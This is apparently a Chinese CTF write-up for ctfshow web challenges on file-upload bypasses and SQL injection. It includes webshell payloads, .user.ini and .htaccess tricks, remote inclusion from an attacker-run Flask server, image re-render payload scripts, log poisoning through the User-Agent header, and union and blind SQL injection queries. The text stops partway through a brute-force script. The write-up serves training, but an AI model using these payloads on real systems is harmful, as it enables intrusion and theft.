<?= $ggga =':' ?> <?= $aaa ="$eee $ggga //filter/read=convert" ?> <?= $ccc ="base64-encode/resource=$b $b /$fff " ?> <?= $xxxx ="$aaa $b $ccc " ?> <?= include "$xxxx " ?>
最终的flag: 获取的那个数据包内容如下:
HTTP/1.1 200 OK Server: nginx/1.18 .0 (Ubuntu) Date: Mon, 11 Dec 2023 12 :50 :21 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.6 .40 Content-Length: 608 GIF89? log.conf/etc/nginx/nginx.conf/var /log/nginx/error.log phpphpflag:flag.phpphp:
截取其中的 base64
的内容:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3sxYTQ0N2E4MS05M2Y2LTRkM2ItOWIyNi03MTlmNTlkNTVlYWZ9Ijs=
再使用 base64
进行解码:
<?php $flag ="ctfshow{1a447a81-93f6-4d3b-9b26-719f59d55eaf}" ;
总结 弊端:依赖的方法被写死,只能直接包含和读取文件,做不到包含一句话木马进行系统进行任意操作。
解题–远程文件包含 依然是使用相同的上传 .user.ini
的方法,改动的是文件 f
的内容:
GIF89a? <?=include"http://3024726958"?>
这里使用的是将远程的IP地址或域名转换为整数的形式,再使用这个整数化的地址访问文件f,就能实现文件包含了。
在进行文件包含的时候,默认路由指向的文件不能是php文件,因为我们引用的一定是php文件已经解析过的内容,所以这里使用txt文件包含或者直接无名文件进行包含。
在笔者使用自己的服务器进行测试包含对应的整数IP地址的时候一直出现报错的问题,报错信息是400,为了方便测试,这里稍稍修改:
upload源代码 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content ) && getimagesize ($_FILES ["file" ]["tmp_name" ])){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log|\(| |\`|flag|\./i' , $str ); } echo json_encode ($ret );
web163 原始信息 解题
此处引用一位厉害的师傅的wp:https://blog.csdn.net/Kracxi/article/details/122954326#%E6%80%9D%E8%B7%AF
此处使用远程包含,且包含的方法是使用配置文件 .user.ini
进行包含。之前是包含本地的文件,现在是使用http远程文件进行包含。
服务器返回一句话木马的部署方法如下:
部署一句话木马的存放服务器 文件名: app.py
from flask import Flaskfrom flask import requestapp = Flask(__name__) @app.route("/" ) def run_cmd (): return "<h1>Hello World!</h1><?php echo 'kradress';eval($_POST['kradress']);?>" if __name__ == "__main__" : app.run(host='0.0.0.0' ,port =80 )
服务器启动的方法如下:
gunicorn -b 0.0 .0 .0 :8000 app:app
使用flask搭建的时候,要十分注意一点东西:服务器内的开放端口和服务器外的开放端口。
笔者使用的是Ubuntu服务器,需要使用防火墙开放8000端口:
# 允许特定端口开放 sudo ufw allow 8000/tcp # 启动防火墙 sudo ufw enable
还有阿里云的服务器.阿里云的服务器开放端口配置要在安全组配置。配置完成后就能访问并且开始打flag了。
使用配置文件 .user.ini
进行远程文件包含 这里提供数据包:
-----------------------------11428732581767129145325591288 Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a? auto_prepend_file=http://134123123 -----------------------------11428732581767129145325591288--
服务器就自己搭建吧。
文件包含后,访问对应的主页并且传入参数就能拿flag了。
GET: /upload POST: kradress=highlight_file('../flag.php');
拿到的flag:
<?php $flag ="ctfshow{be1e5ae5-23d7-4412-8a45-f4eae239e49b}" ;
upload文件内容 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content ) && getimagesize ($_FILES ["file" ]["tmp_name" ])){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log|\(| |\`|flag|\./i' , $str ); } function clearUpload ( ) { system ("mv ./upload/index.php ./index.php_" ); system ("rm -rf ./upload/*" ); system ("mv ./index.php_ ./upload/index.php" ); } sleep (2 );clearUpload ();echo json_encode ($ret );
web164–png二次渲染 原始信息 基本没啥提示信息,观察出来的信息是:
GET: download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
疑似出现文件包含。
尝试使用远程包含,会直接进行文字提示的报错。
解题 这道题利用的是文件的包含执行,把图片包含到代码当中去,就有可能出现图片包含代码并且执行代码内容的情况。
生成图片的脚本:
<?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); } imagepng ($img ,'./1.png' );?>
在Burp抓包并且传参得到flag:
POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1 Host: ed965271-7464-4b58-961f-ad0b9ad03f5c.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 14 Origin: http://ed965271-7464-4b58-961f-ad0b9ad03f5c.challenge.ctf.show Connection: close Cookie: td_cookie=3688197217 Upgrade-Insecure-Requests: 1 1=cat f*
flag:
<?php $flag ="ctfshow{43014430-f7dd-4bf5-a2aa-49ae920433de}" ;
upload文件的内容 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if (in_array ($ext_suffix , array ("png" ))){ $png = imagecreatefrompng ($_FILES ["file" ]["tmp_name" ]); if ($png ==FALSE ){ $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); }else { $dst = 'upload/' .md5 ($_FILES ["file" ]["name" ]).".png" ; imagepng ($png ,$dst ); $ret = array ("code" =>0 ,"msg" =>md5 ($_FILES ["file" ]["name" ]).".png" ); } }else { $ret = array ("code" =>3 ,"msg" =>"只允许上传png格式图片" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
web165 原始信息 都一样,提示信息无法明眼看出有什么变化。
解题 服务端jpg二次渲染的标志:
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
和上一道题目有一个共同点:通过渲染插件去包含执行php代码。不过……
网上见到三个脚本,测了快一天实在是测不动了。测试的比较可行的是这位师傅的:https://www.bilibili.com/read/cv17496404/
具体步骤就是使用一张图片,通过如下脚本在cmd运行并且插入木马,上传后得到flag.
脚本:
<?php $miniPayload = '<?=system("cat f*");?>' ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { $argv [1 ] = '1.jpg' ; } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { echo "error" ; break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } } ?> 作者:J_Chanra https:
cmd运行:
cmd: $ php web146-3.php 1.jpg success!
这样子就得到相关的图片文件了。
再把这个图片文件上传上去,使用BP访问即可得到flag。
$file = $_GET ['image' ];$file = strrev ($file );$ext = strrev (substr ($file , 0 ,4 ));if ($ext ==='.jpg' && file_exists ("./upload/" .strrev ($file ))){ header ('Content-Type:image/jpeg' ); include ("./upload/" .strrev ($file )); }else { echo "图片错误" ; }
疑难 实际测试中,能真正实行的php代码验证其实不多,只有下面这两条:
<?= system ('ls' );?> <?= system ('cat f*' );?>
之前运气好,把 dowload.php
源码扣下来了,但就是干不到 upload.php
这个脚本,这是下次要吃瘪的节奏啊……
web166 原始信息 前端的要求:
<div class ="layui-container" > <div class ="layui-row" style ="height: 40px;" > </div > <div class ="layui-elem-quote" > <p id ="result" > 后端校验要严密</p > </div > <div class ="layui-row" > <div class ="layui-col-md12" > <button type ="button" class ="layui-btn" id ="upload" lay-data ="{url: 'upload.php', accept: 'images',exts:'zip'}" > <i class ="layui-icon" >  </i > 上传文件 </button > </div > </div > </div > <div class ="layui-row" style ="height: 440px;" > </div > </div > <script src ="js/layui.js" > </script > <script > layui.use ('upload' , function ( ){ var upload = layui.upload ; var uploadInst = upload.render ({ elem : '#upload' ,url : '/upload/' ,done : function (res ){ if (res.code ==0 ){ $("#result" ).html ("文件上传成功 <a href='upload/download.php?file=" +res.msg +"' target='_blank'>下载文件</a>" ); }else { $("#result" ).html ("文件上传失败,失败原因:" +res.msg ); } } ,error : function ( ){ $("#result" ).html ("文件上传失败" ); } }); }); </script >
解题 html中有一部分需要在前端进行修改:
<button type ="button" class ="layui-btn" id ="upload" lay-data ="{url: 'upload.php', accept: 'file'}" > <i class ="layui-icon" >  </i > 上传文件 </button >
修改完成后就能提交文件了。下面的是相关的数据包:
POST /upload.php HTTP/1.1 Host: 14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------9830625281214664067920966739 Content-Length: 282 Origin: http://14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show Connection: close -----------------------------9830625281214664067920966739 Content-Disposition: form-data; name="file"; filename="11111.zip" Content-Type: application/x-zip-compressed PKF <?php var_dump(system('cat ../f*'));?> PK -----------------------------9830625281214664067920966739--
非常重要的一个数据:但凡这个没搞对就会出现传不了的情况。
Content-Type: application/x-zip-compressed
然后访问对应的数据包即可输出数据:
GET /upload/download.php?file=2eaa7cebaf94009ea6f40c3841dca980.zip HTTP/1.1 Host: 14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show/ Upgrade-Insecure-Requests: 1
flag的内容:
<?php $flag ="ctfshow{f2b00e1d-b60d-4483-a404-63dd9365c962}" ;
其它文件的内容 upload文件
<?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'application/x-zip-compressed' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if (in_array ($ext_suffix , array ("zip" ))){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], './upload/' .md5 ($_FILES ["file" ]["tmp_name" ]).'.zip' ); $ret = array ("code" =>0 ,"msg" =>md5 ($_FILES ["file" ]["tmp_name" ]).'.zip' ); }else { $ret = array ("code" =>3 ,"msg" =>"只允许上传zip格式文件" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
/upload/download.php
<?php error_reporting (0 );$file = $_GET ['file' ];if (!isset ($file )){ die ('文件不存在' ); } if (preg_match ('/log|flag|data|input|file|compress|phar|http|https|ftp/' , $file )){ die ('文件不存在' ); } if (check ($file )){ die ('文件不存在!' ); }else { include ($file ); header ('Content-Type:application/x-zip-compressed' ); } function check ($str ) { $ret = FALSE ; $arrayName = array ('ftp' ,'file' ,'/' ,'http' ,'https' ,'phar' ,'tmp' ,'php' ,'data' ,'compress' ); foreach ($arrayName as $key ) { $ret = checkPro ($key ,$str ); } return $ret ; } function checkPro ($key ,$str ) { $len = strlen ($key ); $mt = substr ($str , 0 ,$len ); return $len ==$mt ; }
web167 原始信息 解题 上传带码的图片:
Content-Disposition: form-data; name="file" ; filename="jz.jpg" Content-Type: image/jpeg GIF89a? <?= eval ($_POST [1 ])?>
上传第二种配置文件:.htaccess
Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: image/jpeg SetHandler application/x-httpd-php
将所有的文件解析为php文件后,访问对应的文件路径即可。
GET: /upload/jz.jpg POST: 1=system('ls'); return: flag.php images index.php js layui upload upload.php
后面照常找出flag就行。
.user.ini上传后不会生效,只有.htaccess生效。
下面是upload的内容:
<?php if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/jpeg' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if (!in_array ($ext_suffix , array ("php" ))){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], './upload/' .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>3 ,"msg" =>"只允许上传jpg格式文件" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
web168 原始信息 解题 题目前端要求的是png,随便选一张png上传后,在BP上去截取数据包。
而这次直接限制了类似于 eval ,include
等PHP函数,本以为还是无法使用php文件上传,没想到后面看见了某个大佬的wp说到了能直接上传PHP后就直接拿下了。
随便上传一张图片后,信息如下:
Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/png �PNG
而实际上,其中是夹杂着一句木马的:
能ls,接下来就能直接拿flag了。下面的是upload文件的内容。
<?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $str = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (check ($str )===0 ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], './upload/' .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>$_FILES ["file" ]["name" ]); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return preg_match ('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i' , $str ); } echo json_encode ($ret );
web169~170 原始信息 <button type ="button" class ="layui-btn" id ="upload" lay-data ="{url: 'upload.php', accept: 'images',exts:'zip'}" > <i class ="layui-icon" >  </i > 上传文件 </button >
解题 尖括号都被过滤了,考虑文件包含漏洞 ->
日志文件包含漏洞。
Content-Disposition: form-data; name="file" ; filename=".user.ini" Content-Type: image/png auto_prepend_file=/var /log/nginx/access.log
为防止出现403的情况,我们自己上传个 d.php
:
Content-Disposition: form-data; name="file" ; filename="d.php" Content-Type: image/png 1
并且在这个php的UA处进行注入:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0<?=`ls ..`?>
再访问 /upload/d.php
即可看到日志相关信息以及对应的代码执行结果。
其中,因为是 UA
注入 php
可执行语句,可以选择在任意位置的 UA
注入。
upload.php - 169 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $str = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (check ($str )===0 ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], './upload/' .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>$_FILES ["file" ]["name" ]); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return preg_match ('/eval|include|require|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>/i' , $str ); } echo json_encode ($ret );
upload.php - 170 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $str = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (check ($str )===0 ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], './upload/' .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>$_FILES ["file" ]["name" ]); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return preg_match ('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>|\(|\)|\{|\[|\}|\]|\,|\%|\`|\~|\+/i' , $str ); } echo json_encode ($ret );
SQL注入 web171-限制回显 原始信息 题目提供了一个输入框框和查询语句,以及部分的表格回显:
/ / 拼接sql 语句查找指定ID用户$sql = "select username,password from user where username !='flag' and id = '".$_GET['id' ]."' limit 1;";
解题 原本疑惑为什么测半天没动静,实际上是单引号和单词间多了个空格……(冤)
# 找列数 get: 1'order by 3 -- - return: 正确信息 get: 1'order by 4 -- - return: 接口错误 # 证明是三列 # 堆叠查询数据库相关信息 get: 1'union select 2,database(),3 -- - return: ctfshow_web # 查其它库 get: 1'union select 2,(group_concat(schema_name)),4 from information_schema.schemata-- - return: information_schema,test,mysql,performance_schema,ctfshow_web # 查表 get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- - return: ctfshow_user # 查字段 get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user'-- - return: id,username,password # 查字段对应的内容 get: 1'union select 2,(group_concat(username)),4 from ctfshow_user-- - return: admin,user1,user2,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,flag get: 1'union select 2,(group_concat(password)),4 from ctfshow_user-- - return: admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{a53003e4-a479-47e2-b618-b24d4eabffb8}
web172 原始信息 访问select模块下的无过滤注入1
解题 和上面相比,多了一个表格
# 查表 get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- - return: ctfshow_user,ctfshow_user2 # 查字段 get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user2'-- - return: id,username,password # 查字段对应的内容 get: 1'union select 2,(group_concat(password)),4 from ctfshow_user2-- - return: admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{5710fe38-1d3b-4322-b56e-d34148ed8530}
总结 在输出字符串被限制回显的时候 (例如限制'flag'这个字符串)
可以采用编码为base64的方式进行绕过。
反过来思考,就是: 当明文数据无法直接输出的时候,可以考虑加密为密文再输出出来解密拿到明文 .之前做PHP审计也遇到过。
web173 原始信息 暂时省略,后面补上
解题 暂时省略,后面补上
web174 原始信息 因为之前解题并未注意其中细节,这次检测出了布尔注入后,就一直在尝试爆出值。
解题 前面有限制条件,经过测试,限制的是传入的参数的。
没猜错的话,应该是不能直接反弹出flag的,所以说要拿下flag还得动用一点别的办法。
if (!preg_match ('/flag|[0-9]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
按部就班开始解题:
这个是堆叠注入的解法:
# 找列数 get: 1'order by 2-- - return: 正确信息 get: 1'order by 1-- - return: 接口错误 # 证明是2列 # 堆叠查询数据库相关信息 get: 1'union select database(),'a'-- - return: ctfshow_web # 查其它库 get: -1'union select (group_concat(schema_name)),'a' from information_schema.schemata-- - return: information_schema,test,mysql,performance_schema,ctfshow_web # 查表 get: -1'union select 'a',substring(group_concat(table_name),1,12) from information_schema.tables where table_schema=database()-- - return: ctfshow_user # 查字段 get: -1'union select 'a',group_concat(column_name) from information_schema.columns where table_name like '%ctf%'-- - return: id,username,password # 查字段对应的内容 get: 1'union select 'a',(group_concat(id)) from ctfshow_user-- - return: # 无法直接明文测试出来,因为回显的数据包含了数字,上面规则有写 # 可以考虑各种编码绕过
于是开始考虑新的办法,写一个脚本进行布尔爆破去解决这个问题。
而布尔爆破我是从头做到尾的:
import requests,time,urllibdictStr = ',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`-{}_~0123456789|$!"#%&\'()*+./:;<=>?@[\\]^ ' dictStr2 = '{}-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' dictStr3 = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ$#' dictStr4 = ',abcdefghijklmnopqrstuvwxyz0123456789_' dictStr5 = '-abcdefghijklmnopqrstuvwxyz0123456789{}' dictStr6 = '`-{}_~0123456789|$!"#%&\'()*+./:;<=>?@[\\]^-{}abcdefghijklmnopqrstuvwxyz0123456789' dictStr7 = ',1234567890' def getUrl (req,url,data ): """ req: 获取session数据开始 url: 获取模板url data: 获取注入语句 """ headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' , 'Accept-Encoding' : 'gzip, deflate, br' , 'Accept-Language' : 'zh-CN,zh;q=0.9' , 'Connection' : 'keep-alive' , 'Upgrade-Insecure-Requests' : '1' , } urls = url.format (data) print ("被访问的内容:" ,data) r = req.get(url=urls,headers=headers).content.decode('unicode_escape' ) content = '' if r.strip() == "" : for i in range (30 ): rContent = req.get(url=urls, headers=headers).content.decode('unicode_escape' ) if rContent.strip()!= "" : content = rContent break else : content = r return content def getDatabase (req,url ): """ 获取数据库的库名 初始注入语句:1' and if(substring(database(),1,1)='c',1,0)-- - ctfshow_web 获取数据库的表名 if(substring((select 